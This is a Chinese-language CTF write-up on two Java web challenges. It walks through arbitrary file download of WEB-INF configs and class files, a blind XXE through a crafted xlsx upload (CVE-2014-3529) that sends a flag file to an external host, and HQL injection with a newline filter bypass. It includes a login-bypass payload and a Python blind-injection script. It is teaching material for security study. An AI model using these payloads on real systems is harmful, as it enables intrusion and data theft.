通过两道题浅看java安全

 

0x01 前言

java的web题一直是菜鸡觉得最难的,网鼎杯也出了一道web的java题,因此想结合以前做的java题来简单谈一谈java安全,那就先从网鼎杯的javafile开始吧。

 

0x02 正文

javafile

刚进入这道题就是一个文件上传的页面,先抓个包看看:

看到COOKIE是JSESSIONID,初步判断是java写的web应用,可以任意上传文件,也能下载文件,这里给我提个醒,因为以前遇到过java的任意下载文件的漏洞,很明显解析不了上传的一句话,于是想到从下载的功能入手

这里如果把filename的路径修改一下,能不能下载得到其他的文件呢?

可以看到,的确存在任意文件读取的功能,因为这里是java开发的web应用,自然想到WEB-INF目录,它是java的web应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。

WEB-INF目录的作用

/WEB-INF/web.xml Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。

/WEB-INF/classes/ 包含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中。

/WEB-INF/lib/ 存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件。

/WEB-INF/src/ 源码目录,按照包名结构放置各个Java文件。

/WEB-INF/database.properties 数据库配置文件

/WEB-INF/tags/ 存放了自定义标签文件,该目录并不一定为 tags,可以根据自己的喜好和习惯为自己的标签文件库命名,当使用自定义的标签文件库名称时,在使用标签文件时就必须声明正确的标签文件库路径。例如:当自定义标签文件库名称为 simpleTags 时,在使用 simpleTags 目录下的标签文件时,就必须在 jsp 文件头声明为:<%@ taglibprefix="tags" tagdir="/WEB-INF /simpleTags" % >。

/WEB-INF/jsp/ jsp 1.2 以下版本的文件存放位置。改目录没有特定的声明,同样,可以根据自己的喜好与习惯来命名。此目录主要存放的是 jsp 1.2 以下版本的文件,为区分 jsp 2.0 文件,通常使用 jsp 命名,当然你也可以命名为 jspOldEdition 。

WEB-INF/jsp2/ 与 jsp 文件目录相比,该目录下主要存放 Jsp 2.0 以下版本的文件,当然,它也是可以任意命名的,同样为区别 Jsp 1.2以下版本的文件目录,通常才命名为 jsp2。

META-INF 相当于一个信息包,目录中的文件和目录获得Java 2平台的认可与解释,用来配置应用程序、扩展程序、类加载器和服务manifest.mf文件,在用jar打包时自动生成。

不妨尝试读取/WEB-INF/web.xml来查看servlet的配置规则

我们需要重点关注的是<servlet-class>这个标签,因为在这个标签记录了/WEB-INF/classes/的类,以便于我们去下载这个class文件

根据得到的信息下载对应源码

注意将 . 换成 / 和后缀 .class

DownloadServlet.class
ListFileServlet.class
UploadServlet.class

下载后将class文件反编译进行审查:

UploadServlet.class源码分析

package cn.abc.servlet;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.UUID;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileUploadException;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import org.apache.poi.openxml4j.exceptions.InvalidFormatException;
import org.apache.poi.ss.usermodel.WorkbookFactory;

public class UploadServlet extends HttpServlet {
    private static final long serialVersionUID = 1;

    /* access modifiers changed from: protected */
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        doPost(request, response);
    }

    /* access modifiers changed from: protected */
    public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String savePath = getServletContext().getRealPath("/WEB-INF/upload");
        File tempFile = new File(getServletContext().getRealPath("/WEB-INF/temp"));
        if (!tempFile.exists()) {
            tempFile.mkdir();
        }
        String message = "";
        try {
            DiskFileItemFactory factory = new DiskFileItemFactory();
            factory.setSizeThreshold(102400);
            factory.setRepository(tempFile);
            ServletFileUpload servletFileUpload = new ServletFileUpload(factory);
            servletFileUpload.setProgressListener(new 1(this));
            servletFileUpload.setHeaderEncoding("UTF-8");
            servletFileUpload.setFileSizeMax(1048576);
            servletFileUpload.setSizeMax(10485760);
            if (ServletFileUpload.isMultipartContent(request)) {
                for (FileItem fileItem : servletFileUpload.parseRequest(request)) {
                    if (fileItem.isFormField()) {
                        String name = fileItem.getFieldName();
                        fileItem.getString("UTF-8");
                    } else {
                        String filename = fileItem.getName();
                        if (!(filename == null || filename.trim().equals(""))) {
                            String fileExtName = filename.substring(filename.lastIndexOf(".") + 1);
                            InputStream in = fileItem.getInputStream();
                            if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
                                try {
                                    System.out.println(WorkbookFactory.create(in).getSheetAt(0).getFirstRowNum());
                                } catch (InvalidFormatException e) {
                                    System.err.println("poi-ooxml-3.10 has something wrong");
                                    e.printStackTrace();
                                }
                            }
                            String saveFilename = makeFileName(filename);
                            request.setAttribute("saveFilename", saveFilename);
                            request.setAttribute("filename", filename);
                            FileOutputStream out = new FileOutputStream(makePath(saveFilename, savePath) + "/" + saveFilename);
                            byte[] buffer = new byte[1024];
                            while (true) {
                                int len = in.read(buffer);
                                if (len <= 0) {
                                    break;
                                }
                                out.write(buffer, 0, len);
                            }
                            in.close();
                            out.close();
                            message = "文件上传成功!";
                        }
                    }
                }
                request.setAttribute("message", message);
                request.getRequestDispatcher("/ListFileServlet").forward(request, response);
            }
        } catch (FileUploadException e2) {
            e2.printStackTrace();
        }
    }

    private String makeFileName(String filename) {
        return UUID.randomUUID().toString() + "_" + filename;
    }

    private String makePath(String filename, String savePath) {
        int hashCode = filename.hashCode();
        int dir2 = (hashCode & 240) >> 4;
        String dir = savePath + "/" + (hashCode & 15) + "/" + dir2;
        File file = new File(dir);
        if (!file.exists()) {
            file.mkdirs();
        }
        return dir;
    }
}

其中这一段关键代码:

首先判断文件是否非空,当文件名以excel开头并且后缀是xlsx,则会有
System.out.println(WorkbookFactory.create(in).getSheetAt(0).getFirstRowNum());
这就引入了XXE较为独特一种方式—CVE-2014-3529

实际上,与所有post-Office 2007文件格式一样,现代Excel文件实际上只是XML文档的zip文件。这称为Office Open XML格式或OOXML。
许多应用程序允许上传文件。有些处理内部数据并采取相应的操作,这几乎肯定需要解析XML。如果解析器未安全配置,则XXE几乎是不可避免的。

因为excel表格其实也是一种压缩文件,我们可利用7-zip提取其中的[Content_Types].xml,当我们上传excel表格时会对其进行解析XML,因此当我们添上恶意XML时即可触发XXE。

因为在响应头是没有任何回显的,因此在这里应该使用Blind-XXE配合结合外部dtd

这里简单说明一下XXE的攻击方式,具体原理已经很多大神说明了:

XXE简单分析

XML文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制,其中最重要的就是实体

实体可以分为通用实体参数实体
1.通用实体
用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用
2.参数实体
(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

当我们尝试在[Content_Types].xml中添加xml:

通过设置两个参数实体,并且引用,实现的功能是调用某一公网的dtd文件,并且将file:///flag文件读取存储在file中

在来看外部dtd文件:

它会将file以GET的形式访问指定IP,如果成功触发XXE,此时我们只需要监听apache2日志即可得到flag.
我们将构造好的excel文件按照之前要求命名后,监听日志

因为在buuoj上复现,无法访问公网,只能通过一台内网的linux靶机来作为引用外部dtd

可以看到,成功触发了XXE,将file以GET形式访问了我们制定的IP,从而获取到flag

攻防世界—Zhuanxv

这个题主页是一个时间记录,抓包发现JSESSIONID,因此判断是java开发的web应用,不多说了,就是一通乱扫,发现/list目录,访问后是一个后台登录框:

试图先用万能密码进行登录,无果,初步判断应该是要SQL注入。
F12启动,看到了在CSS布局中

是这样获取背景图片的,结合之前java惯有的任意文件下载,自然想到修改filename来进行查看,但是发现不能读取/etc/passwd文件,先不慌

针对java开发的web应用,想到去查看/WEB-INF/目录下的各种配置文件,在这里尝试查看/WEB-INF/web.xml,发现是struts2框架

既然是strust2框架,必不可少的就会有主配置文件struts.xml,试图查看strurs.xml

根据class标签,同样是能够下载.class文件,因此我们将相关的class文件下载

UserLoginAction.class
DownloadAction.class
com.cuitctf.util.UserOAuth.class
action.AdminAction.class

将这四个class文件下载后进行反编译

下载默认得到jpg文件,只需要转后缀名为class即可反编译

代码分析

UserLoginAction.class是判断是否登陆成功和处理的功能
贴下代码

package com.cuitctf.action;

import com.cuitctf.po.User;
import com.cuitctf.service.UserService;
import com.cuitctf.util.InitApplicationContext;
import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.ActionSupport;
import java.util.List;
import java.util.Map;
import java.util.regex.Pattern;

public class UserLoginAction extends ActionSupport {
    private User user;
    private UserService userService = ((UserService) InitApplicationContext.getApplicationContext().getBean("userService"));

    public String execute() throws Exception {
        System.out.println("start:" + this.user.getName());
        Map<String, Object> request = (Map) ActionContext.getContext().get("request");
        try {
            if (userCheck(this.user)) {
                System.out.println("login SUCCESS");
                ActionContext.getContext().getSession().put("user", this.user);
                return "success";
            }
            request.put("error", "登录失败,请检查用户名和密码");
            System.out.println("登陆失败");
            return "error";
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }

    public boolean isValid(String username) {
        return matcher("[a-zA-Z0-9]{1-16}", username);
    }

    private static boolean matcher(String reg, String string) {
        return Pattern.compile(reg).matcher(string).matches();
    }

    public boolean userCheck(User user) {
        List<User> userList = this.userService.loginCheck(user.getName(), user.getPassword());
        if (userList != null && userList.size() == 1) {
            return true;
        }
        addActionError("Username or password is Wrong, please check!");
        return false;
    }

    public UserService getUserService() {
        return this.userService;
    }

    public void setUserService(UserService userService) {
        this.userService = userService;
    }

    public User getUser() {
        return this.user;
    }

    public void setUser(User user) {
        this.user = user;
    }
}

看到isValid方法,限定了username是能是16位的字母和数字,因此username是很难利用进行SQL注入的

DownloadAction,class中:

发现只允许下载后缀名为xml、jpg、class的文件,这也说明了开始为什么不能读取/etc/passwd文件内容,但是也没有很多利用点,继续。

审完四个class文件后仍然没有发现关键查询代码,这时可能还有一些class文件或者xml配置文件是需要而我们忽略了的。因此要继续来找这类文件。
fuzz得到spring的核心配置文件applicationContext.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
        <property name="driverClassName">
            <value>com.mysql.jdbc.Driver</value>
        </property>
        <property name="url">
            <value>jdbc:mysql://localhost:3306/sctf</value>
        </property>
        <property name="username" value="root"/>
        <property name="password" value="root" />
    </bean>
    <bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
        <property name="dataSource">
            <ref bean="dataSource"/>
        </property>
        <property name="mappingLocations">
            <value>user.hbm.xml</value>
        </property>
        <property name="hibernateProperties">
            <props>
                <prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
                <prop key="hibernate.show_sql">true</prop>
            </props>
        </property>
    </bean>
    <bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate">
        <property name="sessionFactory">
            <ref bean="sessionFactory"/>
        </property>
    </bean>
    <bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
        <property name="sessionFactory">
            <ref bean="sessionFactory"/>
        </property>
    </bean>
    <bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
        <property name="transactionManager">
            <ref bean="transactionManager"/>
        </property>
        <property name="transactionAttributes">
            <props>
                <prop key="add">PROPAGATION_REQUIRED</prop>
                <prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
            </props>
        </property>
    </bean>
    <bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">
        <property name="hibernateTemplate">
            <ref bean="hibernateTemplate"/>
        </property>
    </bean>
    <bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">
        <property name="userDao">
            <ref bean="userDAO"/>
        </property>
    </bean>
</beans>

泄露了其他的xml文件和class文件我们再将其下载后反编译进行审查

user.hbm.xml中可以看到

看到了表名Flag和列名welcometoourctf这样很明显的暗示进行注入

将两处关键代码贴上:

package com.cuitctf.dao.impl;

import com.cuitctf.dao.UserDao;
import com.cuitctf.po.User;
import java.util.List;
import org.springframework.orm.hibernate3.support.HibernateDaoSupport;

public class UserDaoImpl extends HibernateDaoSupport implements UserDao {
    public List<User> findUserByName(String name) {
        return getHibernateTemplate().find("from User where name ='" + name + "'");
    }

    public List<User> loginCheck(String name, String password) {
        return getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");
    }
}

    public List<User> loginCheck(String name, String password) {
        name = name.replaceAll(" ", "").replaceAll("=", "");
        Matcher username_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(name);
        if (Pattern.compile("^[0-9a-zA-Z]+$").matcher(password).find()) {
            return this.userDao.loginCheck(name, password);
        }
        return null;
    }
}

查询语句和过滤语句,将namepassword的空格和=设空

HQL语法

此处并不是SQL语句,而是Hibernate中的HQL语句

Hibernate是一种ORM框架,用来映射与tables相关的类定义(代码)
内部可以使用原生SQL还有HQL语言进行SQL操作。
HQL注入:Hibernate中没有对数据进行有效的验证导致恶意数据进入应用程序中造成的。

注意这里查询的都是JAVA类对象
select "对象.属性名"
from "对象名"
where "条件"
group by "对象.属性名" having "分组条件"
order by "对象.属性名"

之前的过滤规则是过滤了用户名和密码的空格和=,因此在这里需要用换行符%0a进行绕过
使用如下payload

admin%27%0Aor%0A%271%27%3E%270'%0Aor%0Aname%0Alike%0A'admin

这样经过拼接后成为了:

from User where name = '"admin' or '1'>'0' or name like 'admin' and password = '"+ password + "'"

‘1’>’0’恒成立,这样相当于MYSQL万能密码一样进行绕过,登录后台

但是flag并不在后台上,根据之前知道的表和列,flag应该在数据库里,因此我们需要注入得到flag

贴上队里大佬博客里的exp:

#coding=utf-8


import requests

url="http://124.126.19.106:37956/zhuanxvlogin"

flag =""
for i in range(1,50):
    for c in range(30,150):
        ch = chr(c)
        if ch == '_' or ch == '%':
            continue
        sql="(selectnascii(substr(welcometoourctf," + str(i) + ",1))nfromnFlagn)"
        username = "admin'or" + sql + "like'" + str(c) + "'ornnamenlike'admin"
        password = "1"
        data = {"user.name" : username , "user.password" : password}
        #print data
        req = requests.post(url,data=data,timeout=10000).text
        if len(req) > 4000:
            flag = flag +ch
            print ("Flag:"+flag)
            break

利用ascii和substr的一个盲注,注意空格需要用换行符替代,最后跑出flag

 

总结

个人感觉java题虽然没有那么常见,但是java题的质量一般都很高,通过cookie判断出是java开发的web应用,应该试图去寻找是否存在任意文件下载,只有这样,才能够读取java题泄露的class文件,反编译后进行代码审计,最后才会有更广阔的的思路。

(完)